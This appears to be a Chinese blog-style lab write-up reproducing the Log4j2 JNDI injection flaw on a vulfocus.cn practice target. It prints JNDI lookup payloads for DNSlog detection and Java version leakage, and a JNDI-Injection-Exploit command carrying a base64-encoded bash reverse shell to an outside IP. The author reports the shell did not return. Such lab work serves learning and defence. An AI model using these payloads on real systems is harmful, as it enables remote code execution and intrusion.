漏洞原理
原理不再多说,可以看我这篇文章,讲得很详细了。
影响版本
2.0 ≤ Apache Log4j2 < 2.15.0-rc2
漏洞复现
在vulfocus.cn靶场直接启动环境。
发现有传参数的地方。
直接上poyload检测,这里建议把${jndi:ldap://nknr85.dnslog.cn}进行URL编码,否则可能会404,可以在DNSlog看到回显。
http://123.58.224.8:38731/hello?payload=${jndi:ldap://nknr85.dnslog.cn}
版本检测。
http://123.58.224.8:38731/hello?payload=${jndi:ldap://${sys:java.version}.nknr85.dnslog.cn}
现在已经确定有漏洞,那么直接反弹shell,还是用JNDI-Injection-Exploit这个工具比较方便,编写好反弹shell的命令。这个命令啥意思呢,上一篇fastjson漏洞复现有说过就不再赘述了。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OS4xNDEuMTg5LzMzMzMgMD4mMQ==}|{base,-d}|{bash,-i}" -A 8.xxx.xxx.xxx
记得要把rmi资源链接URL编码一下,在rmi服务器这边可以看到有请求的记录。
http://123.58.224.8:18124/hello?payload=${jndi:ldap://8.149.141.1:13/ikk4ws}
但是我这里监听却没有返回shell,不知道为啥,有了解的师傅还请指点一二。
总结
不知道是靶场的问题,还是我的问题,老是没有完全复现成功,也可能是JDK版本问题。